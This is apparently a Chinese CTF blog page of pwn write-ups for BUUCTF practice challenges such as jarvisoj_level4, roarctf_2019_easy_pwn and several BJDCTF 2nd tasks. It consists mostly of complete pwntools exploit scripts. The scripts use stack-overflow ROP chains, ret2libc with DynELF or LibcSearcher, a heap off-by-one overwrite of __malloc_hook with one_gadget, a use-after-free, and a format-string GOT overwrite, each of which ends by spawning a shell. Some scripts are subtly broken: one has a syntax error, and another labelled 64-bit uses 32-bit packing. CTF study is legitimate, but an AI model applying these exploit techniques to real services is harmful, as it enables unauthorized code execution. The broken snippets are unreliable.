system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload2 = 'a' * offset + "bbbb" + p32(system_addr) + 'a'*4 + p32(binsh)
p.sendline(payload2)
p.interactive()

jarvisoj_level4

和jarvisoj_level3差不多,但是需要用DynELF

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

io=remote('node3.buuoj.cn',25963)
elf=ELF('./pwn')

start_addr=0x08048350
write_plt=0x08048340
read_plt=0x08048310

def leak(addr):
payload='a'*(0x88+4)+p32(write_plt)+p32(start_addr)
payload+=p32(1)+p32(addr)+p32(8)
io.sendline(payload)
leaked=io.recv(8)
return leaked

d=DynELF(leak,elf=elf)

system_addr=d.lookup('system','libc')
data_addr=0x0804A01C
payload='a'*(0x88+4)+p32(read_plt)+p32(start_addr)
payload+=p32(0)+p32(data_addr)+p32(8)
io.sendline(payload)
io.send("/bin/sh\x00")


payload='a'*(0x88+4)+p32(system_addr)+p32(start_addr)
payload+=p32(data_addr)
io.sendline(payload)

io.interactive()

jarvisoj_tell_me_something

64位开启了NX保护,简单的溢出,覆盖返回地址就好了

1
2
3
4
5
6
7
8
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','26227')
goodgame = 0x0400620
payload = 'a'*0x88 + p64(goodgame)
p.recvuntil(":")
p.sendline(payload)
p.interactive()

jarvisoj_fm

格式化字符串写入

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote('node3.buuoj.cn','27748')
# p = process('./pwn')
elf = ELF('./pwn')
x_addr = 0x0804A02C
print hex(x_addr)
payload = p32(x_addr) + '%11$n'
p.sendline(payload)
p.interactive()

jarvisoj_level3_x64

栈溢出,开启nx保护,无libc,system和bin/sh,想办法泄漏libc,getshell,和level一样,只是变成了64位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',26008)
#p = process('./pwn')
elf = ELF('./pwn')
offset = 0x88
vulfun_addr=0x0804844B
write_got = elf.got["write"]
write_plt = elf.symbols["write"]

payload1 = 'a' * offset +"bbbb" + p32(write_plt) + p32(vulfun_addr) + p32(1) + p32(write_got) + p32(4)
p.recvuntil("Input:\n")
p.sendline(payload1)

write_addr = u32(p.recv(4))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')

payload2 = 'a' * offset + "bbbb" + p32(system_addr) + 'a'*4 + p32(binsh)
p.sendline(payload2)
p.interactive()

铁人三项(第五赛区)_2018_rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
p = remote('node3.buuoj.cn',29362)
elf = ELF('./pwn')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
main_addr = elf.symbols['main']
bss_addr = elf.symbols['__bss_start']
def leak(address):
payload1 = 'a' * (0x88+0x4) + p32(write_plt) + p32(main_addr) + p32(0x1) + p32(address) + p32(0x4)
p.sendline(payload1)
leak_address = p.recv(4)
return leak_address

d = DynELF(leak,elf=ELF('./pwn'))
system_addr = d.lookup('system','libc')

payload2 = 'a' * (0x88+0x4) + p32(read_plt) + p32(main_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)
p.sendline(payload2)
p.sendline('/bin/sh')

payload3 = 'a' * (0x88+0x4) + p32(system_addr) + p32(main_addr) + p32(bss_addr)
p.sendline(payload3)

p.interactive()

roarctf_2019_easy_pwn

off-by-one,malloc_hook中直接写入one_gadget不起作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','26567')
def create(size):
p.sendlineafter("choice: ", str(1))
p.sendlineafter("size: ", str(size))

def write(index, size, content):
p.sendlineafter("choice: ", str(2))
p.sendlineafter("index: ", str(index))
p.sendlineafter("size: ", str(size))
p.sendlineafter("content: ", content)

def free(index):
p.sendlineafter("choice: ", str(3))
p.sendlineafter("index: ", str(index))

def show(index):
p.sendlineafter("choice: ", str(4))
p.sendlineafter("index: ", str(index))

create(0x18) #0

create(0x18) #1

create(0x18) #2

create(0x18) #3

create(0x18) #4

create(0x18) #5

create(0x18) #6

create(0x18) #7

create(0x18) #8

create(0x18) #9

create(0x18) #10

write(10, 0x10, p64(0x91)+p64(0x21))
create(0x18) #11
write(11, 0x10, 'a'*8 + p64(0x21))

write(0, 0x18 + 10, 'a'*0x18 + '\xf1') #chun1 size -> 0xf1

write(8, 0x10, p64(0) + p64(0x21))

write(9, 0x10, p64(0) + p64(0x21))

write(2, 0x18 + 10, 'a'*0x18 + '\xa1')

free(3)

create(0x18)
show(4)

p.recvuntil("content: ")
leak = p.recvline()[:8]
print "leak-> " + leak

libc_addr = struct.unpack("<Q", leak)[0]
print "libc_addr-> " + hex(libc_addr)

libc_base = libc_addr - (0x7fb29d5fab78 - 0x7fb29d236000)
print "libc_base-> " + hex(libc_base)

free(1)

create(0xe8)

payload = 'a'*0x10 + p64(0) + p64(0x71)
payload += 'a'*0x10 + p64(0) + p64(0x21)
payload += 'a'*0x10 + p64(0) + p64(0x21)
payload += 'a'*0x10 + p64(0) + p64(0x21)
payload += 'a'*8 + p64(0x21)
payload += 'a'*0x18 + p64(0x21)
write(1, 0xe8, payload + 'a'*(0xe8 - len(payload)))

free(2)

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook-> " + hex(malloc_hook)

realloc = libc_base + libc.symbols['__libc_realloc']
print "realloc-> " + hex(realloc)

one_gadget = libc_base + 0xf02a4
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
payload = 'a'*0x10 + p64(0) + p64(0x71) + p64(malloc_hook - 0x23)
write(1, len(payload), payload)

create(0x68)

create(0x68)

payload = 'a'*(0x13 - 0x8) + p64(one_gadget) + p64(realloc+13)
write(12, len(payload), payload)

p.sendlineafter("choice: ", str(1))
p.sendlineafter("size: ", str(1))

p.interactive()

http://thriumph.top/roarctf-2019-easy-pwn.html

[BJDCTF 2nd]r2t3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}

存在整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','25158')
elf = ELF('./pwn')

main_addr = elf.symbols['main']
system_addr = elf.symbols['system']
binsh = 0x8048760
pop_ebx_ret = 0x080483d5

payload = 'a' * 17 + p32(0xdeadbeef) + p32(system_addr) + p32(pop_ebx_ret) + p32(binsh) + p32(main_addr)
payload = payload.ljust(260,"a")

p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn'.'25158')
shell = 0x0804858B
payload = 'a' * 21 + p32(shell) + p.ljust(260,'a')
p.send(payload)
p.interactive()

[BJDCTF 2nd]one_gadget

64位保护全开

1
2
3
4
5
6
int init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
return printf("here is the gift for u:%p\n", &printf);
}

直接输出了printf的地址,泄漏libc地址,输入one_gadget就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0xe237f execve("/bin/sh", rcx, [rbp-0x70])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xe2383 execve("/bin/sh", rcx, rdx)
constraints:
[rcx] == NULL || rcx == NULL
[rdx] == NULL || rdx == NULL

0xe2386 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

0x106ef8 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','28671')
libc = ELF('./libc-2.29.so')
p.recvuntil("0x")
print_addr = int(p.recvn(12),16)
libc_base = print_addr - libc.symbols['printf']
one_gadget = [0xe237f,0xe2383,0xe2386,0x106ef8]
shell = libc_base + one_gadget[3]
p.recvuntil('Give me your one gadget:')
p.sendline(str(shell))
p.interactive()

[BJDCTF 2nd]ydsneedgirlfriend2

64位开启了canary和nx保护

1
2
3
4
5
6
7
8
9
if ( v1 >= 0 && v1 < count )
{
if ( girlfriends[v1] )
{
free((void *)*girlfriends[v1]);
free(girlfriends[v1]);
puts("Why are u so cruel!");
}
}

delete函数free后没有把指针置NULL,free两次后再申请0x10的chunk块就可以申请到第一次申请的0x10 chunk块,覆盖print函数地址为backdoor地址,再利用一个chunk块的show函数就能执行后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','25994')
elf = ELF('./pwn')
backdoor = 0x400D86

def add(size,content):
p.recvuntil("u choice :")
p.sendline('1')
p.recvuntil("Please input the length of her name:")
p.sendline(str(size))
p.recvuntil("Please tell me her name:")
p.sendline(content)

def delete(index):
p.recvuntil("u choice :")
p.sendline('2')
p.recvuntil("Index :")
p.sendline(str(index))

def show(index):
p.recvuntil("u choice :")
p.sendline('3')
p.recvuntil("Index :")
p.sendline(str(index))

add(0x20,'aaaa')
add(0x20,'bbbb')
delete(0)
delete(1)
add(0x10,p64(backdoor)*2)
show(0)
p.interactive()

[BJDCTF 2nd]r2t4

64位开启了NX保护和Canary保护

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
read(0, &buf, 0x38uLL); // 栈溢出,buf最大为0x30,这里可输入0x38
printf(&buf, &buf); // 格式化字符串漏洞
return 0;
}

存在格式化字符串漏洞,更改 stack_chk_fail的got表为后门函数地址。(__ stack_check_fail本质上也只是动态加载的一个库函数,和puts是一样的。如果程序中没有调用别的可控函数,那么就可以先劫持__stack_chk_fail函数,再故意引发canary错误,从而调用目标函数。)

1
2
3
4
5
6
7
8
from pwn import *
p = remote('node3.buuoj.cn','29127')
#p = process('./pwn')
elf = ELF('pwn')
__stack_chk_fail=elf.got['__stack_chk_fail']
payload = "%64c%9$hn%1510c%10$hnAAA" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)
p.sendline(payload)
p.interactive()

64:0x40,对应backdoor函数地址的高两字节0x0040

9:格式化字符串%64c%9$hn%1510c%10$hnAAA占用了3个字节,所以偏移6+3

$hn:将已输出的字符数低2字节写到指定地址

1510:1510+64=1574=0x626,对应backdoor函数地址的低两字节0x0626

10:在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节,即偏移为10

AAA:填充作用,栈对齐,使之为8的倍数

p64(__ stack_chk_fail+2) + p64(__stack_chk_fail) :将backdoor函数地址分为高两个字节和低两字节进行写入

[BJDCTF 2nd]test

ssh -p 28363 ctf@node3.buuoj.cn 连接,查看文件,没有读取flag权限,test.c过滤了字符nepbushiflag/$`-<>.

用x86_64解

1
2
3
4
5
6
7
8
9
ctf@7b2d349a820c:~$ ./test
Welcome to Pwn-Game by TaQini.
Your ID:
uid=1000(ctf) gid=1000(ctf) egid=1001(ctf_pwn) groups=1000(ctf)
$ x86_64
$ ls
flag test test.c
$ cat flag
flag{895facf1-ac71-4eff-896d-ab933b9fa826}

bjdctf_2020_babyrop2

64位开启了nx保护和canary保护

gift函数存在格式化字符串漏洞。泄露偏移为6处的地址时,找到6161也就是aa,那么说明格式化字符串的偏移就是6,这里我们就要泄露canary,canary是在rbp+8,输入%7$p,就把canary泄露出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 gift()
{
char format; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("I'll give u some gift to help u!");
__isoc99_scanf("%6s", &format);
printf(&format);
puts(byte_400A05);
fflush(0LL);
return __readfsqword(0x28u) ^ v2;
}
1
2
3
4
5
6
Can u return to libc ?
Try u best!
I'll give u some gift to help u!
aa%6$p
aa0x702436256161
Pull up your sword and tell me u story!

vuln函数存在溢出

1
2
3
4
5
6
7
8
9
10
unsigned __int64 vuln()
{
char buf; // [rsp+0h] [rbp-20h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("Pull up your sword and tell me u story!");
read(0, &buf, 0x64uLL);
return __readfsqword(0x28u) ^ v2;
}

payload

1
2
3
4
5
6
7
payload = p64(cancry)
payload = payload.rjust(0x20,'a')
payload += 'bbbbbbbb'
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(ret_addr)

格式化字符串泄露canary,然后rop获得libc版本,之后拿到getshell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
from LibcSearcher import *
#p = process('./pwn')
p = remote('node3.buuoj.cn','25589')
elf = ELF('./pwn')
payload = '%7$p'
p.sendline(payload)
p.recvuntil('0x')
cancry = int(p.recv(16),16)

puts_plt = 0x0400610
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
pop_rdi = 0x0400993
ret_addr = 0x0400887

payload = p64(cancry)
payload = payload.rjust(0x20,'a')
payload += 'bbbbbbbb'
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(ret_addr)

p.recvuntil('story!\n')
p.sendline(payload)

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system_addr = libc_base+libc.dump('system')
bin_addr = libc_base+libc.dump('str_bin_sh')

p.recvuntil('story!\n')
payload = p64(cancry)
payload = payload.rjust(0x20,'a')
payload += 'bbbbbbbb'
payload += p64(pop_rdi)
payload += p64(bin_addr)
payload += p64(system_addr)
p.sendline(payload)

bjdctf_2020_babyrop

64位开启了nx保护,vuln函数存在栈溢出, puts 泄露 got 表,泄漏libc,getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
p = remote('node3.buuoj.cn',29830)
#p = process('./pwn')
elf = ELF('./pwn')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
pop_rdi = 0x400733

payload='a'*0x20 + 'b'*0x8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
p.recvuntil('Pull up your sword and tell me u story!')
p.sendline(payload)
p.recv()

puts_addr = u64(p.recv(6).ljust(8,'\x00'))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system_addr = libc_base+libc.dump('system')
binsh = libc_base+libc.dump('str_bin_sh')

payload1 = 'a'*0x20 + 'b'*0x8
payload1 += p64(pop_rdi) + p64(binsh) + p64(system_addr)
p.recvuntil('Pull up your sword and tell me u story!')
p.sendline(payload1)

p.interactive()

hitcontraining_uaf

相关文章
评论
分享
  • 网鼎杯部分wp

    pwnboom1分析远程已经打不通了,远程的偏移和本地的偏移不一样,只能复现一下本地的了。 首先看到流程图,代码量很大,有很大的switch语句和嵌套结构,可能是虚拟机或者是解析器。 从下图看出是一个C语言的解析器。 然后看了...

    网鼎杯部分wp
  • 数字中国创新大赛

    又是自闭的一天。。 game这一题是关于python字节码的题目,之前没有了解过,看了几篇关于python字节码的文章,死磕,手工还原。。 python字节码 12345678910111213141516171819202122...

    数字中国创新大赛
  • hitcontraining_uaf

    一道简单的uaf的题目 保护12345Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX...

    hitcontraining_uaf
Please check the parameter of comment in config.yml of hexo-theme-Annie!